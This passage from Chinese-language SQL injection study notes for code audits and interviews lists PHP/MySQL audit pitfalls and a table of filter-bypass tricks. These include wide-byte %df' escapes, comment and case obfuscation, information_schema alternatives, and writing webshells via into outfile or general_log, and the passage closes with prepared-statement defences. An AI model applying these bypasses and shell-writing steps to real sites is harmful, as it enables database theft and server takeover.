// 预编译的 ? 占位符只能填"值",不能填列名/表名/排序方向,这些位置只能白名单
$order = in_array($_GET['sort'], ['id', 'name'], true) ? $_GET['sort'] : 'id';
?>审计红线(写报告/复核时逐条查)
PDO::ATTR_EMULATE_PREPARES => true(模拟预编译,PHP 侧自己拼好再发)在某些边界场景(如 GBK 编码 + LIMIT 子句绑定)仍可注入,审计要显式确认关闭了模拟模式。mysqli_real_escape_string仅在mysqli_set_charset正确设置编码后才算安全;配SET NAMES GBK等于没防(第 1 节)。- 所有”先过滤再拼 SQL”的代码一律标记为不可信;唯一可信路径是参数化 + 无法参数化处白名单。
10. 面试题眼/速答(题库四.39-45)
| 考点 | 一句话答案 | 展开两三句 |
|---|---|---|
| 单引号被过滤怎么绕 | 三条路:数字型不需要引号、宽字节吃掉反斜杠、字符串改十六进制/char() | 数字型参数无引号包裹时引号过滤形同虚设;GBK 编码下 %df' 让 %df%5c 组成汉字吞掉转义符;实在不行用 0x61646d696e 这类十六进制字面量表示字符串,全程零引号 |
| 宽字节注入的条件与防御 | 条件:客户端编码是 GBK 等双字节编码 + 转义只加 \;防御:换 UTF-8 或 character_set_client=binary | %df%27 经 addslashes 变 %df%5c%27,MySQL 按 GBK 解码时 %df%5c 拼成汉字,引号逃逸。注意 mysql_set_charset 会同步客户端库编码可免疫,SET NAMES 不会。防御根本方案是弃用 GBK 并统一 utf8mb4 |
| 逗号被过滤怎么绕 | 换无逗号语法:substr 用 from...for、limit 用 offset、联合查询用 join 子查询 | substr(x from 1 for 1) 替代 substr(x,1,1);limit 1 offset 9 替代 limit 9,1(注意数字对调);union select * from (select 1)a join (select 2)b 替代 union select 1,2;盲注用 case when...then...else...end |
| 空格被过滤怎么绕 | /**/ 注释、其他空白字符、括号/反引号天然边界 | union/**/select 里 /**/ 等价空格最常用;%09 %0a %0c %0d 甚至部分环境下的 %a0 都是 MySQL 认可的空白;select(1)、`user` 这类括号/反引号包裹处紧邻关键字不需要空格 |
| 关键字被过滤怎么绕 | 大小写混淆、双写、可执行注释、等价函数/HANDLER | 一次性替换用 selselectect 双写还原;大小写不敏感特性破小写匹配;/*!50000select*/ 是 MySQL 版本化可执行注释;benchmark/笛卡尔积替代 sleep;HANDLER 语句直接读表替代 select(需堆叠) |
| information_schema 被过滤怎么绕 | 用影子元数据表 + 无列名注入技巧 | MySQL 5.6+ 查 mysql.innodb_table_stats,5.7+ 查 sys.schema_auto_increment_columns 等;列名也拿不到时用 `1`,`2` 数字别名子查询或 join...using 技巧反推数据,Duplicate column 报错还能当列名出口 |
| into outfile 与 dumpfile 区别 | outfile 逐行带换行适合文本 shell,dumpfile 二进制原样写单行适合 UDF | outfile 行尾自动加换行且转义 \n \0,写一句话木马够用;dumpfile 不附加任何字符、二进制安全,写 .so/.dll 动态链接库必须用它,否则文件头被毁 |
| into outfile 被禁/secure_file_priv 限制后的替代 | 首选 general_log / 慢日志写 shell | general_log_file、slow_query_log_file 是运行时变量,不受 secure_file_priv 限制,改路径到 Web 目录再发含木马的查询即可(需堆叠);其他路线:UDF 提权、写 SSH 公钥/crontab(视 MySQL 账户权限)、写 .user.ini |
| GPC 绕过方式 | 宽字节、数组传参、二次注入 | GBK 编码下 %df' 对 GPC/addslashes 同样有效;传 ?id[]=1 让只处理字符串的过滤函数收到数组报错或返回 NULL(键名也常没人过滤);转义入库后反斜杠被还原,出库再拼接时毫无防护 |
| sqlmap tamper 常用脚本 | 按过滤类型选:空格用 space2comment,关键字用 randomcase/versionedkeywords,宽字节用 unmagicquotes | 空格类:space2comment/space2plus;大小写:randomcase;比较符:between/equaltolike/greatest;宽字节:unmagicquotes;版本注释:versionedkeywords/halfversionedmorekeywords;引号:apostrophemask。审计时这张表就是过滤代码的自查清单 |
| 根治方案 | PDO/mysqli 真预编译 + 数字强转 + 无法预编译处白名单 | 预编译让数据永远进不了语法层,是从机制上根治;务必显式关闭模拟预编译 ATTR_EMULATE_PREPARES=false;列名/表名/排序方向等不能绑参数的位置用 in_array 白名单兜底;一切黑名单/字符串替换过滤都可绕过 |